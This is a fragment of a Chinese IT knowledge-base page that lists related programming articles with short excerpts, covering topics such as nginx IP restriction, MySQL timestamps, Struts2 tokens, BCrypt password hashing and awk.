target="_blank">深入了解视频播放器工作原理与实现</a> <span class="text-muted">你一身傲骨怎能输</span> <a class="tag" taget="_blank" href="/search/%E7%8B%AC%E7%AB%8B%E6%B8%B8%E6%88%8F%E5%BC%80%E5%8F%91%E8%80%85%E5%AE%9D%E5%85%B8/1.htm">独立游戏开发者宝典</a><a class="tag" taget="_blank" href="/search/%E8%A7%86%E9%A2%91%E6%92%AD%E6%94%BE%E5%99%A8/1.htm">视频播放器</a> <div>下面我会用通俗易懂的方式,结合技术细节,带你深入了解视频播放器的工作原理与实现。内容分为两部分:视频播放器的整体工作流程(原理)主要技术模块的实现思路和常用方案一、视频播放器的整体工作原理我们可以把视频播放器比作一个“放映机”,它的主要任务是:把存储在本地或网络上的视频文件,经过一系列处理,最终在屏幕上流畅地播放出来,并同步音频。1.获取视频源本地播放:直接读取本地文件(如MP4、MKV等)。网络</div> </li> <li><a href="/article/1942932081663340544.htm" title="!LangChain链的调试与故障排查深度解析(30)" target="_blank">!LangChain链的调试与故障排查深度解析(30)</a> <span class="text-muted">Android 小码蜂</span> <a class="tag" taget="_blank" href="/search/%E6%B5%8B%E8%AF%95%E4%B8%93%E6%A0%8F/1.htm">测试专栏</a><a class="tag" taget="_blank" href="/search/langchain/1.htm">langchain</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a> <div>LangChain链的调试与故障排查深度解析一、LangChain链的基本架构与运行原理1.1LangChain的核心组件概述LangChain作为构建语言模型驱动应用的框架,其核心由一系列可组合的组件构成。这些组件包括LLM(大语言模型)、PromptTemplate(提示模板)、Chain(链)、Agent(智能体)等。LLM负责生成文本,PromptTemplate用于构建结构化提示,Cha</div> </li> <li><a href="/article/91.htm" title="java解析APK" target="_blank">java解析APK</a> <span class="text-muted">3213213333332132</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/apk/1.htm">apk</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%A7%A3%E6%9E%90APK/1.htm">解析APK</a> <div>解析apk有两种方法 1、结合安卓提供apktool工具,用java执行cmd解析命令获取apk信息 2、利用相关jar包里的集成方法解析apk 这里只给出第二种方法,因为第一种方法在linux服务器下会出现不在控制范围之内的结果。 public class ApkUtil { /** * 日志对象 */ private static Logger </div> </li> <li><a href="/article/218.htm" title="nginx自定义ip访问N种方法" target="_blank">nginx自定义ip访问N种方法</a> <span class="text-muted">ronin47</span> <a class="tag" taget="_blank" href="/search/nginx+%E7%A6%81%E6%AD%A2ip%E8%AE%BF%E9%97%AE/1.htm">nginx 禁止ip访问</a> <div>   因业务需要,禁止一部分内网访问接口, 由于前端架了F5,直接用deny或allow是不行的,这是因为直接获取的前端F5的地址。    所以开始思考有哪些主案可以实现这样的需求,目前可实施的是三种:    一:把ip段放在redis里,写一段lua &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 二:利用geo传递变量,写一段</div> </li> <li><a href="/article/345.htm" title="mysql timestamp类型字段的CURRENT_TIMESTAMP与ON UPDATE CURRENT_TIMESTAMP属性" target="_blank">mysql timestamp类型字段的CURRENT_TIMESTAMP与ON UPDATE CURRENT_TIMESTAMP属性</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>timestamp有两个属性,分别是CURRENT_TIMESTAMP 和ON UPDATE CURRENT_TIMESTAMP两种,使用情况分别如下: &nbsp; 1. &nbsp; CURRENT_TIMESTAMP&nbsp; &nbsp; 当要向数据库执行insert操作时,如果有个timestamp字段属性设为 &nbsp; CURRENT_TIMESTAMP,则无论这</div> </li> <li><a href="/article/472.htm" title="struts2+spring+hibernate分页显示" target="_blank">struts2+spring+hibernate分页显示</a> <span class="text-muted">171815164</span> <a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a> <div>分页显示一直是web开发中一大烦琐的难题,传统的网页设计只在一个JSP或者ASP页面中书写所有关于数据库操作的代码,那样做分页可能简单一点,但当把网站分层开发后,分页就比较困难了,下面是我做Spring+Hibernate+Struts2项目时设计的分页代码,与大家分享交流。   1、DAO层接口的设计,在MemberDao接口中定义了如下两个方法: public in</div> </li> <li><a href="/article/599.htm" title="构建自己的Wrapper应用" target="_blank">构建自己的Wrapper应用</a> <span class="text-muted">g21121</span> <a class="tag" taget="_blank" href="/search/rap/1.htm">rap</a> <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我们已经了解Wrapper的目录结构,下面可是正式利用Wrapper来包装我们自己的应用,这里假设Wrapper的安装目录为:/usr/local/wrapper。 &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 首先,创建项目应用 &nbsp; &nb</div> </li> <li><a href="/article/726.htm" title="[简单]工作记录_多线程相关" target="_blank">[简单]工作记录_多线程相关</a> <span class="text-muted">53873039oycg</span> <a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a> <div>&nbsp;&nbsp;&nbsp;&nbsp; 最近遇到多线程的问题,原来使用异步请求多个接口(n*3次请求)&nbsp;&nbsp;&nbsp;&nbsp; 方案一 使用多线程一次返回数据,最开始是使用5个线程,一个线程顺序请求3个接口,超时终止返回&nbsp;&nbsp;&nbsp;&nbsp; 缺点&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 测试发现必须3个接</div> </li> <li><a href="/article/853.htm" title="调试jdk中的源码,查看jdk局部变量" target="_blank">调试jdk中的源码,查看jdk局部变量</a> <span class="text-muted">程序员是怎么炼成的</span> <a class="tag" taget="_blank" href="/search/jdk+%E6%BA%90%E7%A0%81/1.htm">jdk 源码</a> <div>转自:http://www.douban.com/note/211369821/ &nbsp; &nbsp;学习jdk源码时使用-- &nbsp; 学习java最好的办法就是看jdk源代码,面对浩瀚的jdk(光源码就有40M多,比一个大型网站的源码都多)从何入手呢,要是能单步调试跟进到jdk源码里并且能查看其中的局部变量最好了。 可惜的是sun提供的jdk并不能查看运行中的局部变量</div> </li> <li><a href="/article/980.htm" title="Oracle RAC Failover 详解" target="_blank">Oracle RAC Failover 详解</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a> <div>Oracle RAC 同时具备HA(High Availiablity) 和LB(LoadBalance). 而其高可用性的基础就是Failover(故障转移). 它指集群中任何一个节点的故障都不会影响用户的使用,连接到故障节点的用户会被自动转移到健康节点,从用户感受而言, 是感觉不到这种切换。 Oracle 10g RAC 的Failover 可以分为3种: 1. Client-Si</div> </li> <li><a href="/article/1107.htm" title="form表单提交数据编码方式及tomcat的接受编码方式" target="_blank">form表单提交数据编码方式及tomcat的接受编码方式</a> <span class="text-muted">antonyup_2006</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/%E6%B5%8F%E8%A7%88%E5%99%A8/1.htm">浏览器</a><a class="tag" taget="_blank" href="/search/%E4%BA%92%E8%81%94%E7%BD%91/1.htm">互联网</a><a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a> <div>原帖地址:http://www.iteye.com/topic/266705 form有2中方法把数据提交给服务器,get和post,分别说下吧。 (一)get提交 1.首先说下客户端(浏览器)的form表单用get方法是如何将数据编码后提交给服务器端的吧。 &nbsp;&nbsp; 对于get方法来说,都是把数据串联在请求的url后面作为参数,如:http://localhost:</div> </li> <li><a href="/article/1234.htm" title="JS初学者必知的基础" target="_blank">JS初学者必知的基础</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/js%E5%87%BD%E6%95%B0/1.htm">js函数</a><a class="tag" taget="_blank" href="/search/js%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80/1.htm">js入门基础</a> <div>JavaScript是网页的交互语言,实现网页的各种效果, JavaScript 是世界上最流行的脚本语言。 JavaScript 是属于 web 的语言,它适用于 PC、笔记本电脑、平板电脑和移动电话。 JavaScript 被设计为向 HTML 页面增加交互性。 许多 HTML 开发者都不是程序员,但是 JavaScript 却拥有非常简单的语法。几乎每个人都有能力将小的 </div> </li> <li><a href="/article/1361.htm" title="iBatis的分页分析与详解" target="_blank">iBatis的分页分析与详解</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/ibatis/1.htm">ibatis</a> <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 分页是操作数据库型系统常遇到的问题。分页实现方法很多,但效率的差异就很大了。iBatis是通过什么方式来实现这个分页的了。查看它的实现部分,发现返回的PaginatedList实际上是个接口,实现这个接口的是PaginatedDataList类的对象,查看PaginatedDataList类发现,每次翻页的时候最</div> </li> <li><a href="/article/1488.htm" title="精通Oracle10编程SQL(15)使用对象类型" target="_blank">精通Oracle10编程SQL(15)使用对象类型</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/plsql/1.htm">plsql</a> <div>/* *使用对象类型 */ --建立和使用简单对象类型 --对象类型包括对象类型规范和对象类型体两部分。 --建立和使用不包含任何方法的对象类型 CREATE OR REPLACE TYPE person_typ1 as OBJECT( name varchar2(10),gender varchar2(4),birthdate date ); drop type p</div> </li> <li><a href="/article/1615.htm" title="【Linux命令二】文本处理命令awk" target="_blank">【Linux命令二】文本处理命令awk</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/linux%E5%91%BD%E4%BB%A4/1.htm">linux命令</a> <div>awk是Linux用来进行文本处理的命令,在日常工作中,广泛应用于日志分析。awk是一门解释型编程语言,包含变量,数组,循环控制结构,条件控制结构等。它的语法采用类C语言的语法。 &nbsp; awk命令用来做什么? 1.awk适用于具有一定结构的文本行,对其中的列进行提取信息 2.awk可以把当前正在处理的文本行提交给Linux的其它命令处理,然后把直接结构返回给awk 3.awk实际工</div> </li> <li><a href="/article/1742.htm" title="JAVA(ssh2框架)+Flex实现权限控制方案分析" target="_blank">JAVA(ssh2框架)+Flex实现权限控制方案分析</a> <span class="text-muted">白糖_</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>&nbsp; 目前项目使用的是Struts2+Hibernate+Spring的架构模式,目前已经有一套针对SSH2的权限系统,运行良好。但是项目有了新需求:在目前系统的基础上使用Flex逐步取代JSP,在取代JSP过程中可能存在Flex与JSP并存的情况,所以权限系统需要进行修改。 【SSH2权限系统的实现机制】 权限控制分为页面和后台两块:不同类型用户的帐号分配的访问权限是不同的,用户使</div> </li> <li><a href="/article/1869.htm" title="angular.forEach" target="_blank">angular.forEach</a> <span class="text-muted">boyitech</span> <a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/AngularJS+API/1.htm">AngularJS API</a><a class="tag" taget="_blank" href="/search/angular.forEach/1.htm">angular.forEach</a> <div>angular.forEach 描述: 循环对obj对象的每个元素调用iterator, obj对象可以是一个Object或一个Array. Iterator函数调用方法: iterator(value, key, obj), 其中obj是被迭代对象,key是obj的property key或者是数组的index,value就是相应的值啦.&nbsp;(此函数不能够迭代继承的属性.) </div> </li> <li><a href="/article/1996.htm" title="java-谷歌面试题-给定一个排序数组,如何构造一个二叉排序树" target="_blank">java-谷歌面试题-给定一个排序数组,如何构造一个二叉排序树</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/%E4%BA%8C%E5%8F%89%E6%8E%92%E5%BA%8F%E6%A0%91/1.htm">二叉排序树</a> <div> import java.util.LinkedList; public class CreateBSTfromSortedArray { /** * 题目:给定一个排序数组,如何构造一个二叉排序树 * 递归 */ public static void main(String[] args) { int[] data = { 1, 2, 3, 4, </div> </li> <li><a href="/article/2123.htm" title="action执行2次" target="_blank">action执行2次</a> <span class="text-muted">Chen.H</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/jsp/1.htm">jsp</a><a class="tag" taget="_blank" href="/search/XHTML/1.htm">XHTML</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/Webwork/1.htm">Webwork</a> <div>xwork 写道 &lt;action name=&quot;userTypeAction&quot; class=&quot;com.ekangcount.website.system.view.action.UserTypeAction&quot;&gt; &lt;result name=&quot;ssss&quot; type=&quot;dispatcher&quot;&gt; </div> </li> <li><a href="/article/2250.htm" title="[时空与能量]逆转时空需要消耗大量能源" target="_blank">[时空与能量]逆转时空需要消耗大量能源</a> <span class="text-muted">comsci</span> <a class="tag" taget="_blank" href="/search/%E8%83%BD%E6%BA%90/1.htm">能源</a> <div> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 无论如何,人类始终都想摆脱时间和空间的限制....但是受到质量与能量关系的限制,我们人类在目前和今后很长一段时间内,都无法获得大量廉价的能源来进行时空跨越..... &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在进行时空穿梭的实验中,消耗超大规模的能源是必然</div> </li> <li><a href="/article/2377.htm" title="oracle的正则表达式(regular expression)详细介绍" target="_blank">oracle的正则表达式(regular expression)详细介绍</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/1.htm">正则表达式</a> <div>&nbsp;&nbsp;&nbsp; 正则表达式是很多编程语言中都有的。可惜oracle8i、oracle9i中一直迟迟不肯加入,好在oracle10g中终于增加了期盼已久的正则表达式功能。你可以在oracle10g中使用正则表达式肆意地匹配你想匹配的任何字符串了。 正则表达式中常用到的元数据(metacharacter)如下: ^ 匹配字符串的开头位置。 $ 匹配支付传的结尾位置。 * </div> </li> <li><a href="/article/2504.htm" title="报表工具与报表性能的关系" target="_blank">报表工具与报表性能的关系</a> <span class="text-muted">datamachine</span> <a class="tag" taget="_blank" href="/search/%E6%8A%A5%E8%A1%A8%E5%B7%A5%E5%85%B7/1.htm">报表工具</a><a class="tag" taget="_blank" href="/search/birt/1.htm">birt</a><a class="tag" taget="_blank" href="/search/%E6%8A%A5%E8%A1%A8%E6%80%A7%E8%83%BD/1.htm">报表性能</a><a class="tag" taget="_blank" href="/search/%E6%B6%A6%E4%B9%BE%E6%8A%A5%E8%A1%A8/1.htm">润乾报表</a> <div>在选择报表工具时,性能一直是用户关心的指标,但是,报表工具的性能和整个报表系统的性能有多大关系呢? 要回答这个问题,首先要分析一下报表的处理过程包含哪些环节,哪些环节容易出现性能瓶颈,如何优化这些环节。 &nbsp; 一、报表处理的一般过程分析 1、用户选择报表输入参数后,报表引擎会根据报表模板和输入参数来解析报表,并将数据计算和读取请求以SQL的方式发送给数据库。 &nbsp; 2、</div> </li> <li><a href="/article/2631.htm" title="初一上学期难记忆单词背诵第一课" target="_blank">初一上学期难记忆单词背诵第一课</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/word/1.htm">word</a><a class="tag" taget="_blank" href="/search/english/1.htm">english</a> <div>what 什么&nbsp; your 你 name 名字 my 我的 am 是 one 一 two 二 three 三 four 四 five 五 class 班级,课 &nbsp; six 六 seven 七 eight 八 nince 九 ten 十 zero 零 how 怎样 old 老的 eleven 十一 twelve 十二 thirteen </div> </li> <li><a href="/article/2758.htm" title="我学过和准备学的各种技术" target="_blank">我学过和准备学的各种技术</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/%E6%8A%80%E6%9C%AF/1.htm">技术</a> <div>语言VB&nbsp;https://msdn.microsoft.com/zh-cn/library/2x7h1hfk.aspxJava&nbsp;http://docs.oracle.com/javase/8/C#&nbsp;https://msdn.microsoft.com/library/vstudioPHP&nbsp;http://php.net/manual/en/Html&nbsp;</div> </li> <li><a href="/article/2885.htm" title="struts2中token防止重复提交表单" target="_blank">struts2中token防止重复提交表单</a> <span class="text-muted">蕃薯耀</span> <a class="tag" taget="_blank" href="/search/%E9%87%8D%E5%A4%8D%E6%8F%90%E4%BA%A4%E8%A1%A8%E5%8D%95/1.htm">重复提交表单</a><a class="tag" taget="_blank" href="/search/struts2%E4%B8%ADtoken/1.htm">struts2中token</a> <div>struts2中token防止重复提交表单 &nbsp; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; 蕃薯耀 2015年7月12日 11:52:32 星期日 ht</div> </li> <li><a href="/article/3012.htm" title="线性查找二维数组" target="_blank">线性查找二维数组</a> <span class="text-muted">hao3100590</span> <a class="tag" taget="_blank" href="/search/%E4%BA%8C%E7%BB%B4%E6%95%B0%E7%BB%84/1.htm">二维数组</a> <div>1.算法描述 有序(行有序,列有序,且每行从左至右递增,列从上至下递增)二维数组查找,要求复杂度O(n) &nbsp; 2.使用到的相关知识: 结构体定义和使用,二维数组传递(http://blog.csdn.net/yzhhmhm/article/details/2045816) &nbsp; 3.使用数组名传递 这个的不便之处很明显,一旦确定就是不能设置列值 //使</div> </li> <li><a href="/article/3139.htm" title="spring security 3中推荐使用BCrypt算法加密密码" target="_blank">spring security 3中推荐使用BCrypt算法加密密码</a> <span class="text-muted">jackyrong</span> <a class="tag" taget="_blank" href="/search/Spring+Security/1.htm">Spring Security</a> <div>spring security 3中推荐使用BCrypt算法加密密码了,以前使用的是md5, Md5PasswordEncoder 和 ShaPasswordEncoder,现在不推荐了,推荐用bcrpt Bcrpt中的salt可以是随机的,比如: int i = 0; while (i &lt; 10) { String password = &quot;1234</div> </li> <li><a href="/article/3266.htm" title="学习编程并不难,做到以下几点即可!" target="_blank">学习编程并不难,做到以下几点即可!</a> <span class="text-muted">lampcy</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/1.htm">编程语言</a> <div>不论你是想自己设计游戏,还是开发iPhone或安卓手机上的应用,还是仅仅为了娱乐,学习编程语言都是一条必经之路。编程语言种类繁多,用途各 异,然而一旦掌握其中之一,其他的也就迎刃而解。作为初学者,你可能要先从Java或HTML开始学,一旦掌握了一门编程语言,你就发挥无穷的想象,开发 各种神奇的软件啦。 1、确定目标 学习编程语言既充满乐趣,又充满挑战。有些花费多年时间学习一门编程语言的大学生到</div> </li> <li><a href="/article/3393.htm" title="架构师之mysql----------------用group+inner join,left join ,right join 查重复数据(替代in)" target="_blank">架构师之mysql----------------用group+inner join,left join ,right join 查重复数据(替代in)</a> <span class="text-muted">nannan408</span> <a class="tag" taget="_blank" href="/search/right+join/1.htm">right join</a> <div>1.前言。 &nbsp; 如题。 2.代码 (1)单表查重复数据,根据a分组 &nbsp; SELECT m.a,m.b, INNER JOIN (select a,b,COUNT(*) AS rank FROM test.`A` A GROUP BY a HAVING rank&gt;1 )k ON m.a=k.a (2)多表查询 , 使用改为le</div> </li> <li><a href="/article/3520.htm" title="jQuery选择器小结 VS 节点查找(附css的一些东西)" target="_blank">jQuery选择器小结 VS 节点查找(附css的一些东西)</a> <span class="text-muted">Everyday都不同</span> <a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/name%E9%80%89%E6%8B%A9%E5%99%A8/1.htm">name选择器</a><a class="tag" taget="_blank" href="/search/%E8%BF%BD%E5%8A%A0%E5%85%83%E7%B4%A0/1.htm">追加元素</a><a class="tag" taget="_blank" href="/search/%E6%9F%A5%E6%89%BE%E8%8A%82%E7%82%B9/1.htm">查找节点</a> <div>最近做前端页面,频繁用到一些jQuery的选择器,所以特意来总结一下: &nbsp; 测试页面: &lt;html&gt; &lt;head&gt; &lt;script src=&quot;jquery-1.7.2.min.js&quot;&gt;&lt;/script&gt; &lt;script&gt; /*$(function() { $(documen</div> </li> <li><a href="/article/3647.htm" title="关于EXT" target="_blank">关于EXT</a> <span class="text-muted">tntxia</span> <a class="tag" taget="_blank" href="/search/ext/1.htm">ext</a> <div>&nbsp; ExtJS是一个很不错的Ajax框架,可以用来开发带有华丽外观的富客户端应用,使得我们的b/s应用更加具有活力及生命力。ExtJS是一个用 javascript编写,与后台技术无关的前端ajax框架。因此,可以把ExtJS用在.Net、Java、Php等各种开发语言开发的应用中。 &nbsp; &nbsp; &nbsp; ExtJs最开始基于YUI技术,由开发人员Jack </div> </li> <li><a href="/article/3774.htm" title="一个MIT计算机博士对数学的思考" target="_blank">一个MIT计算机博士对数学的思考</a> <span class="text-muted">xjnine</span> <a class="tag" taget="_blank" href="/search/Math/1.htm">Math</a> <div>&nbsp;在过去的一年中,我一直在数学的海洋中游荡,research进展不多,对于数学世界的阅历算是有了一些长进。为什么要深入数学的世界?作为计算机的学生,我没有任何企图要成为一个数学家。我学习数学的目的,是要想爬上巨人的肩膀,希望站在更高的高度,能把我自己研究的东西看得更深广一些。说起来,我在刚来这个学校的时候,并没有预料到我将会有一个深入数学的旅程。我的导师最初希望我去做的题目,是对appe</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>